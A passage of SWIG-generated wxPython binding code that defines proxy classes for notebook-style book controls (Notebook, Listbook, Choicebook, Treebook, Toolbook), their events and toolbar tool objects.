**kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"\n HitTest(Point pt) -> (tab, where)\n\n Returns the page/tab which is hit, and flags indicating where using\n wx.NB_HITTEST flags.\n \"\"\"\n return _controls_.BookCtrlBase_HitTest(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.BookCtrlBase_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n ControlMargin = property(GetControlMargin,SetControlMargin,doc=\"See `GetControlMargin` and `SetControlMargin`\") \n ControlSizer = property(GetControlSizer,doc=\"See `GetControlSizer`\") \n CurrentPage = property(GetCurrentPage,doc=\"See `GetCurrentPage`\") \n FitToCurrentPage = property(GetFitToCurrentPage,SetFitToCurrentPage,doc=\"See `GetFitToCurrentPage` and `SetFitToCurrentPage`\") \n ImageList = property(GetImageList,SetImageList,doc=\"See `GetImageList` and `SetImageList`\") \n InternalBorder = property(GetInternalBorder,SetInternalBorder,doc=\"See `GetInternalBorder` and `SetInternalBorder`\") \n Page = property(GetPage,doc=\"See `GetPage`\") \n PageCount = property(GetPageCount,doc=\"See `GetPageCount`\") \n PageImage = property(GetPageImage,SetPageImage,doc=\"See `GetPageImage` and `SetPageImage`\") \n PageText = property(GetPageText,SetPageText,doc=\"See `GetPageText` and `SetPageText`\") \n Selection = property(GetSelection,SetSelection,doc=\"See `GetSelection` and `SetSelection`\") \n_controls_.BookCtrlBase_swigregister(BookCtrlBase)\nNotebookNameStr = cvar.NotebookNameStr\n\ndef BookCtrlBase_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n BookCtrlBase_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.BookCtrlBase_GetClassDefaultAttributes(*args, **kwargs)\n\nclass BookCtrlBaseEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ BookCtrlBaseEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1, \n int nOldSel=-1) -> BookCtrlBaseEvent\n \"\"\"\n _controls_.BookCtrlBaseEvent_swiginit(self,_controls_.new_BookCtrlBaseEvent(*args, **kwargs))\n def GetSelection(*args, **kwargs):\n \"\"\"\n GetSelection(self) -> int\n\n Returns item index for a listbox or choice selection event (not valid\n for a deselection).\n \"\"\"\n return _controls_.BookCtrlBaseEvent_GetSelection(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, int nSel)\"\"\"\n return _controls_.BookCtrlBaseEvent_SetSelection(*args, **kwargs)\n\n def GetOldSelection(*args, **kwargs):\n \"\"\"GetOldSelection(self) -> int\"\"\"\n return _controls_.BookCtrlBaseEvent_GetOldSelection(*args, **kwargs)\n\n def SetOldSelection(*args, **kwargs):\n \"\"\"SetOldSelection(self, int nOldSel)\"\"\"\n return _controls_.BookCtrlBaseEvent_SetOldSelection(*args, **kwargs)\n\n OldSelection = property(GetOldSelection,SetOldSelection,doc=\"See `GetOldSelection` and `SetOldSelection`\") \n Selection = property(GetSelection,SetSelection,doc=\"See `GetSelection` and `SetSelection`\") \n_controls_.BookCtrlBaseEvent_swigregister(BookCtrlBaseEvent)\n\n#---------------------------------------------------------------------------\n\nNB_FIXEDWIDTH = _controls_.NB_FIXEDWIDTH\nNB_TOP = _controls_.NB_TOP\nNB_LEFT = _controls_.NB_LEFT\nNB_RIGHT = _controls_.NB_RIGHT\nNB_BOTTOM = _controls_.NB_BOTTOM\nNB_MULTILINE = _controls_.NB_MULTILINE\nNB_NOPAGETHEME = _controls_.NB_NOPAGETHEME\nNB_HITTEST_NOWHERE = _controls_.NB_HITTEST_NOWHERE\nNB_HITTEST_ONICON = _controls_.NB_HITTEST_ONICON\nNB_HITTEST_ONLABEL = _controls_.NB_HITTEST_ONLABEL\nNB_HITTEST_ONITEM = _controls_.NB_HITTEST_ONITEM\nNB_HITTEST_ONPAGE = _controls_.NB_HITTEST_ONPAGE\nclass Notebook(BookCtrlBase):\n \"\"\"Proxy of C++ Notebook class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=NotebookNameStr) -> Notebook\n \"\"\"\n _controls_.Notebook_swiginit(self,_controls_.new_Notebook(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=NotebookNameStr) -> bool\n \"\"\"\n return _controls_.Notebook_Create(*args, **kwargs)\n\n def GetRowCount(*args, **kwargs):\n \"\"\"GetRowCount(self) -> int\"\"\"\n return _controls_.Notebook_GetRowCount(*args, **kwargs)\n\n def SetPadding(*args, **kwargs):\n \"\"\"SetPadding(self, Size padding)\"\"\"\n return _controls_.Notebook_SetPadding(*args, **kwargs)\n\n def SetTabSize(*args, **kwargs):\n \"\"\"SetTabSize(self, Size sz)\"\"\"\n return _controls_.Notebook_SetTabSize(*args, **kwargs)\n\n def GetThemeBackgroundColour(*args, **kwargs):\n \"\"\"GetThemeBackgroundColour(self) -> Colour\"\"\"\n return _controls_.Notebook_GetThemeBackgroundColour(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Notebook_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n def SendPageChangingEvent(*args, **kwargs):\n \"\"\"SendPageChangingEvent(self, int nPage) -> bool\"\"\"\n return _controls_.Notebook_SendPageChangingEvent(*args, **kwargs)\n\n def SendPageChangedEvent(*args, **kwargs):\n \"\"\"SendPageChangedEvent(self, int nPageOld, int nPageNew=-1)\"\"\"\n return _controls_.Notebook_SendPageChangedEvent(*args, **kwargs)\n\n RowCount = property(GetRowCount,doc=\"See `GetRowCount`\") \n ThemeBackgroundColour = property(GetThemeBackgroundColour,doc=\"See `GetThemeBackgroundColour`\") \n_controls_.Notebook_swigregister(Notebook)\n\ndef PreNotebook(*args, **kwargs):\n \"\"\"PreNotebook() -> Notebook\"\"\"\n val = _controls_.new_PreNotebook(*args, **kwargs)\n return val\n\ndef Notebook_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Notebook_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.Notebook_GetClassDefaultAttributes(*args, **kwargs)\n\nclass NotebookEvent(BookCtrlBaseEvent):\n \"\"\"Proxy of C++ NotebookEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1, \n int nOldSel=-1) -> NotebookEvent\n \"\"\"\n _controls_.NotebookEvent_swiginit(self,_controls_.new_NotebookEvent(*args, **kwargs))\n_controls_.NotebookEvent_swigregister(NotebookEvent)\n\nwxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED\nwxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING\n# wxNotebook events\nEVT_NOTEBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED, 1 )\nEVT_NOTEBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING, 1 )\n\n#----------------------------------------------------------------------------\n\nclass NotebookPage(wx.Panel):\n \"\"\"\n There is an old (and apparently unsolvable) bug when placing a\n window with a nonstandard background colour in a wx.Notebook on\n wxGTK1, as the notbooks's background colour would always be used\n when the window is refreshed. The solution is to place a panel in\n the notbook and the coloured window on the panel, sized to cover\n the panel. This simple class does that for you, just put an\n instance of this in the notebook and make your regular window a\n child of this one and it will handle the resize for you.\n \"\"\"\n def __init__(self, parent, id=-1,\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=wx.TAB_TRAVERSAL, name=\"panel\"):\n wx.Panel.__init__(self, parent, id, pos, size, style, name)\n self.child = None\n self.Bind(wx.EVT_SIZE, self.OnSize)\n\n def OnSize(self, evt):\n if self.child is None:\n children = self.GetChildren()\n if len(children):\n self.child = children[0]\n if self.child:\n self.child.SetPosition((0,0))\n self.child.SetSize(self.GetSize())\n\n\n#---------------------------------------------------------------------------\n\nLB_DEFAULT = _controls_.LB_DEFAULT\nLB_TOP = _controls_.LB_TOP\nLB_BOTTOM = _controls_.LB_BOTTOM\nLB_LEFT = _controls_.LB_LEFT\nLB_RIGHT = _controls_.LB_RIGHT\nLB_ALIGN_MASK = _controls_.LB_ALIGN_MASK\nclass Listbook(BookCtrlBase):\n \"\"\"Proxy of C++ Listbook class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=EmptyString) -> Listbook\n \"\"\"\n _controls_.Listbook_swiginit(self,_controls_.new_Listbook(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=EmptyString) -> bool\n \"\"\"\n return _controls_.Listbook_Create(*args, **kwargs)\n\n def GetListView(*args, **kwargs):\n \"\"\"GetListView(self) -> ListView\"\"\"\n return _controls_.Listbook_GetListView(*args, **kwargs)\n\n ListView = property(GetListView,doc=\"See `GetListView`\") \n_controls_.Listbook_swigregister(Listbook)\n\ndef PreListbook(*args, **kwargs):\n \"\"\"PreListbook() -> Listbook\"\"\"\n val = _controls_.new_PreListbook(*args, **kwargs)\n return val\n\nclass ListbookEvent(BookCtrlBaseEvent):\n \"\"\"Proxy of C++ ListbookEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1, \n int nOldSel=-1) -> ListbookEvent\n \"\"\"\n _controls_.ListbookEvent_swiginit(self,_controls_.new_ListbookEvent(*args, **kwargs))\n_controls_.ListbookEvent_swigregister(ListbookEvent)\n\nwxEVT_COMMAND_LISTBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_LISTBOOK_PAGE_CHANGED\nwxEVT_COMMAND_LISTBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_LISTBOOK_PAGE_CHANGING\nEVT_LISTBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_LISTBOOK_PAGE_CHANGED, 1 )\nEVT_LISTBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_LISTBOOK_PAGE_CHANGING, 1 )\n\nCHB_DEFAULT = _controls_.CHB_DEFAULT\nCHB_TOP = _controls_.CHB_TOP\nCHB_BOTTOM = _controls_.CHB_BOTTOM\nCHB_LEFT = _controls_.CHB_LEFT\nCHB_RIGHT = _controls_.CHB_RIGHT\nCHB_ALIGN_MASK = _controls_.CHB_ALIGN_MASK\nclass Choicebook(BookCtrlBase):\n \"\"\"Proxy of C++ Choicebook class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=EmptyString) -> Choicebook\n \"\"\"\n _controls_.Choicebook_swiginit(self,_controls_.new_Choicebook(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=EmptyString) -> bool\n \"\"\"\n return _controls_.Choicebook_Create(*args, **kwargs)\n\n def GetChoiceCtrl(*args, **kwargs):\n \"\"\"GetChoiceCtrl(self) -> Choice\"\"\"\n return _controls_.Choicebook_GetChoiceCtrl(*args, **kwargs)\n\n ChoiceCtrl = property(GetChoiceCtrl,doc=\"See `GetChoiceCtrl`\") \n_controls_.Choicebook_swigregister(Choicebook)\n\ndef PreChoicebook(*args, **kwargs):\n \"\"\"PreChoicebook() -> Choicebook\"\"\"\n val = _controls_.new_PreChoicebook(*args, **kwargs)\n return val\n\nclass ChoicebookEvent(BookCtrlBaseEvent):\n \"\"\"Proxy of C++ ChoicebookEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=-1, \n int nOldSel=-1) -> ChoicebookEvent\n \"\"\"\n _controls_.ChoicebookEvent_swiginit(self,_controls_.new_ChoicebookEvent(*args, **kwargs))\n_controls_.ChoicebookEvent_swigregister(ChoicebookEvent)\n\nwxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED\nwxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING\nEVT_CHOICEBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED, 1 )\nEVT_CHOICEBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING, 1 )\n\n#---------------------------------------------------------------------------\n\nclass Treebook(BookCtrlBase):\n \"\"\"Proxy of C++ Treebook class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize, \n long style=BK_DEFAULT, \n String name=EmptyString) -> Treebook\n \"\"\"\n _controls_.Treebook_swiginit(self,_controls_.new_Treebook(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize, \n long style=BK_DEFAULT, \n String name=EmptyString) -> bool\n \"\"\"\n return _controls_.Treebook_Create(*args, **kwargs)\n\n def InsertSubPage(*args, **kwargs):\n \"\"\"\n InsertSubPage(self, size_t pos, Window page, String text, bool select=False, \n int imageId=NOT_FOUND) -> bool\n \"\"\"\n return _controls_.Treebook_InsertSubPage(*args, **kwargs)\n\n def AddSubPage(*args, **kwargs):\n \"\"\"AddSubPage(self, Window page, String text, bool select=False, int imageId=NOT_FOUND) -> bool\"\"\"\n return _controls_.Treebook_AddSubPage(*args, **kwargs)\n\n def IsNodeExpanded(*args, **kwargs):\n \"\"\"IsNodeExpanded(self, size_t pos) -> bool\"\"\"\n return _controls_.Treebook_IsNodeExpanded(*args, **kwargs)\n\n def ExpandNode(*args, **kwargs):\n \"\"\"ExpandNode(self, size_t pos, bool expand=True) -> bool\"\"\"\n return _controls_.Treebook_ExpandNode(*args, **kwargs)\n\n def CollapseNode(*args, **kwargs):\n \"\"\"CollapseNode(self, size_t pos) -> bool\"\"\"\n return _controls_.Treebook_CollapseNode(*args, **kwargs)\n\n def GetPageParent(*args, **kwargs):\n \"\"\"GetPageParent(self, size_t pos) -> int\"\"\"\n return _controls_.Treebook_GetPageParent(*args, **kwargs)\n\n def GetTreeCtrl(*args, **kwargs):\n \"\"\"GetTreeCtrl(self) -> TreeCtrl\"\"\"\n return _controls_.Treebook_GetTreeCtrl(*args, **kwargs)\n\n TreeCtrl = property(GetTreeCtrl,doc=\"See `GetTreeCtrl`\") \n_controls_.Treebook_swigregister(Treebook)\n\ndef PreTreebook(*args, **kwargs):\n \"\"\"PreTreebook() -> Treebook\"\"\"\n val = _controls_.new_PreTreebook(*args, **kwargs)\n return val\n\nclass TreebookEvent(BookCtrlBaseEvent):\n \"\"\"Proxy of C++ TreebookEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=NOT_FOUND, \n int nOldSel=NOT_FOUND) -> TreebookEvent\n \"\"\"\n _controls_.TreebookEvent_swiginit(self,_controls_.new_TreebookEvent(*args, **kwargs))\n_controls_.TreebookEvent_swigregister(TreebookEvent)\n\nwxEVT_COMMAND_TREEBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_TREEBOOK_PAGE_CHANGED\nwxEVT_COMMAND_TREEBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_TREEBOOK_PAGE_CHANGING\nwxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED = _controls_.wxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED\nwxEVT_COMMAND_TREEBOOK_NODE_EXPANDED = _controls_.wxEVT_COMMAND_TREEBOOK_NODE_EXPANDED\nEVT_TREEBOOK_PAGE_CHANGED= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_PAGE_CHANGED, 1 )\nEVT_TREEBOOK_PAGE_CHANGING= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_PAGE_CHANGING, 1)\nEVT_TREEBOOK_NODE_COLLAPSED= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED, 1 )\nEVT_TREEBOOK_NODE_EXPANDED= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_NODE_EXPANDED, 1 )\n\n#---------------------------------------------------------------------------\n\nclass Toolbook(BookCtrlBase):\n \"\"\"Proxy of C++ Toolbook class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize, \n long style=BK_DEFAULT, \n String name=EmptyString) -> Toolbook\n \"\"\"\n _controls_.Toolbook_swiginit(self,_controls_.new_Toolbook(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String name=wxEmptyString) -> bool\n \"\"\"\n return _controls_.Toolbook_Create(*args, **kwargs)\n\n def GetToolBar(*args, **kwargs):\n \"\"\"GetToolBar(self) -> ToolBarBase\"\"\"\n return _controls_.Toolbook_GetToolBar(*args, **kwargs)\n\n def Realize(*args, **kwargs):\n \"\"\"Realize(self)\"\"\"\n return _controls_.Toolbook_Realize(*args, **kwargs)\n\n ToolBar = property(GetToolBar,doc=\"See `GetToolBar`\") \n_controls_.Toolbook_swigregister(Toolbook)\n\ndef PreToolbook(*args, **kwargs):\n \"\"\"PreToolbook() -> Toolbook\"\"\"\n val = _controls_.new_PreToolbook(*args, **kwargs)\n return val\n\nclass ToolbookEvent(BookCtrlBaseEvent):\n \"\"\"Proxy of C++ ToolbookEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=NOT_FOUND, \n int nOldSel=NOT_FOUND) -> ToolbookEvent\n \"\"\"\n _controls_.ToolbookEvent_swiginit(self,_controls_.new_ToolbookEvent(*args, **kwargs))\n_controls_.ToolbookEvent_swigregister(ToolbookEvent)\n\nwxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED\nwxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING\nEVT_TOOLBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED, 1)\nEVT_TOOLBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING, 1)\n\n#---------------------------------------------------------------------------\n\nTOOL_STYLE_BUTTON = _controls_.TOOL_STYLE_BUTTON\nTOOL_STYLE_SEPARATOR = _controls_.TOOL_STYLE_SEPARATOR\nTOOL_STYLE_CONTROL = _controls_.TOOL_STYLE_CONTROL\nTB_HORIZONTAL = _controls_.TB_HORIZONTAL\nTB_VERTICAL = _controls_.TB_VERTICAL\nTB_TOP = _controls_.TB_TOP\nTB_LEFT = _controls_.TB_LEFT\nTB_BOTTOM = _controls_.TB_BOTTOM\nTB_RIGHT = _controls_.TB_RIGHT\nTB_3DBUTTONS = _controls_.TB_3DBUTTONS\nTB_FLAT = _controls_.TB_FLAT\nTB_DOCKABLE = _controls_.TB_DOCKABLE\nTB_NOICONS = _controls_.TB_NOICONS\nTB_TEXT = _controls_.TB_TEXT\nTB_NODIVIDER = _controls_.TB_NODIVIDER\nTB_NOALIGN = _controls_.TB_NOALIGN\nTB_HORZ_LAYOUT = _controls_.TB_HORZ_LAYOUT\nTB_HORZ_TEXT = _controls_.TB_HORZ_TEXT\nTB_NO_TOOLTIPS = _controls_.TB_NO_TOOLTIPS\nclass ToolBarToolBase(_core.Object):\n \"\"\"Proxy of C++ ToolBarToolBase class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def GetId(*args, **kwargs):\n \"\"\"GetId(self) -> int\"\"\"\n return _controls_.ToolBarToolBase_GetId(*args, **kwargs)\n\n def GetControl(*args, **kwargs):\n \"\"\"GetControl(self) -> Control\"\"\"\n return _controls_.ToolBarToolBase_GetControl(*args, **kwargs)\n\n def GetToolBar(*args, **kwargs):\n \"\"\"GetToolBar(self) -> ToolBarBase\"\"\"\n return _controls_.ToolBarToolBase_GetToolBar(*args, **kwargs)\n\n def IsButton(*args, **kwargs):\n \"\"\"IsButton(self) -> int\"\"\"\n return _controls_.ToolBarToolBase_IsButton(*args, **kwargs)\n\n def IsControl(*args, **kwargs):\n \"\"\"IsControl(self) -> int\"\"\"\n return _controls_.ToolBarToolBase_IsControl(*args, **kwargs)\n\n def IsSeparator(*args, **kwargs):\n \"\"\"IsSeparator(self) -> int\"\"\"\n return _controls_.ToolBarToolBase_IsSeparator(*args, **kwargs)\n\n def GetStyle(*args, **kwargs):\n \"\"\"GetStyle(self) -> int\"\"\"\n return _controls_.ToolBarToolBase_GetStyle(*args, **kwargs)\n\n def GetKind(*args, **kwargs):\n \"\"\"GetKind(self) -> int\"\"\"\n return _controls_.ToolBarToolBase_GetKind(*args, **kwargs)\n\n def IsEnabled(*args, **kwargs):\n \"\"\"IsEnabled(self) -> bool\"\"\"\n return _controls_.ToolBarToolBase_IsEnabled(*args, **kwargs)\n\n def IsToggled(*args, **kwargs):\n \"\"\"IsToggled(self) -> bool\"\"\"\n return _controls_.ToolBarToolBase_IsToggled(*args, **kwargs)\n\n def CanBeToggled(*args, **kwargs):\n \"\"\"CanBeToggled(self) -> bool\"\"\"\n return _controls_.ToolBarToolBase_CanBeToggled(*args, **kwargs)\n\n def GetNormalBitmap(*args, **kwargs):\n \"\"\"GetNormalBitmap(self) -> Bitmap\"\"\"\n return _controls_.ToolBarToolBase_GetNormalBitmap(*args, **kwargs)\n\n def GetDisabledBitmap(*args, **kwargs):\n \"\"\"GetDisabledBitmap(self) -> Bitmap\"\"\"\n return _controls_.ToolBarToolBase_GetDisabledBitmap(*args, **kwargs)\n\n def GetBitmap(*args, **kwargs):\n \"\"\"GetBitmap(self) -> Bitmap\"\"\"\n return _controls_.ToolBarToolBase_GetBitmap(*args, **kwargs)\n\n def GetLabel(*args, **kwargs):\n \"\"\"GetLabel(self) -> String\"\"\"\n return _controls_.ToolBarToolBase_GetLabel(*args, **kwargs)\n\n def GetShortHelp(*args, **kwargs):\n \"\"\"GetShortHelp(self) -> String\"\"\"\n return _controls_.ToolBarToolBase_GetShortHelp(*args, **kwargs)\n\n def GetLongHelp(*args, **kwargs):\n \"\"\"GetLongHelp(self) -> String\"\"\"\n return _controls_.ToolBarToolBase_GetLongHelp(*args, **kwargs)\n\n def Enable(*args, **kwargs):\n \"\"\"Enable(self, bool enable) -> bool\"\"\"\n return _controls_.ToolBarToolBase_Enable(*args, **kwargs)\n\n def Toggle(*args, **kwargs):\n \"\"\"Toggle(self)\"\"\"\n return _controls_.ToolBarToolBase_Toggle(*args, **kwargs)\n\n def SetToggle(*args, **kwargs):\n \"\"\"SetToggle(self, bool toggle) -> bool\"\"\"\n return _controls_.ToolBarToolBase_SetToggle(*args, **kwargs)\n\n def SetShortHelp(*args, **kwargs):\n \"\"\"SetShortHelp(self, String help) -> bool\"\"\"\n return _controls_.ToolBarToolBase_SetShortHelp(*args, **kwargs)\n\n def SetLongHelp(*args, **kwargs):\n \"\"\"SetLongHelp(self, String help) -> bool\"\"\"\n return _controls_.ToolBarToolBase_SetLongHelp(*args, **kwargs)\n\n def SetNormalBitmap(*args, **kwargs):\n \"\"\"SetNormalBitmap(self, Bitmap bmp)\"\"\"\n return _controls_.ToolBarToolBase_SetNormalBitmap(*args, **kwargs)\n\n def SetDisabledBitmap(*args, **kwargs):\n \"\"\"SetDisabledBitmap(self, Bitmap bmp)\"\"\"\n return _controls_.ToolBarToolBase_SetDisabledBitmap(*args, **kwargs)\n\n def SetLabel(*args, **kwargs):\n \"\"\"SetLabel(self, String label)\"\"\"\n return _controls_.ToolBarToolBase_SetLabel(*args, **kwargs)\n\n def Detach(*args, **kwargs):\n \"\"\"Detach(self)\"\"\"\n return _controls_.ToolBarToolBase_Detach(*args, **kwargs)\n\n def Attach(*args, **kwargs):\n \"\"\"Attach(self, ToolBarBase tbar)\"\"\"\n return _controls_.ToolBarToolBase_Attach(*args, **kwargs)\n\n def GetClientData(*args, **kwargs):\n \"\"\"GetClientData(self) -> PyObject\"\"\"\n return _controls_.ToolBarToolBase_GetClientData(*args, **kwargs)\n\n def SetClientData(*args, **kwargs):\n \"\"\"SetClientData(self, PyObject clientData)\"\"\"\n return _controls_.ToolBarToolBase_SetClientData(*args, **kwargs)\n\n GetBitmap1 = GetNormalBitmap\n GetBitmap2 = GetDisabledBitmap\n SetBitmap1 = SetNormalBitmap\n SetBitmap2 = SetDisabledBitmap\n\n Bitmap = property(GetBitmap,doc=\"See `GetBitmap`\") \n ClientData = property(GetClientData,SetClientData,doc=\"See `GetClientData` and `SetClientData`\") \n Control = property(GetControl,doc=\"See `GetControl`\") \n DisabledBitmap = property(GetDisabledBitmap,SetDisabledBitmap,doc=\"See `GetDisabledBitmap` and `SetDisabledBitmap`\") \n Id = property(GetId,doc=\"See `GetId`\") \n Kind = property(GetKind,doc=\"See `GetKind`\") \n Label = property(GetLabel,SetLabel,doc=\"See `GetLabel` and `SetLabel`\") \n LongHelp = property(GetLongHelp,SetLongHelp,doc=\"See `GetLongHelp` and `SetLongHelp`\") \n NormalBitmap = property(GetNormalBitmap,SetNormalBitmap,doc=\"See `GetNormalBitmap` and `SetNormalBitmap`\") \n ShortHelp = property(GetShortHelp,SetShortHelp,doc=\"See `GetShortHelp` and `SetShortHelp`\") \n Style = property(GetStyle,doc=\"See `GetStyle`\") \n ToolBar = property(GetToolBar,doc=\"See `GetToolBar`\") 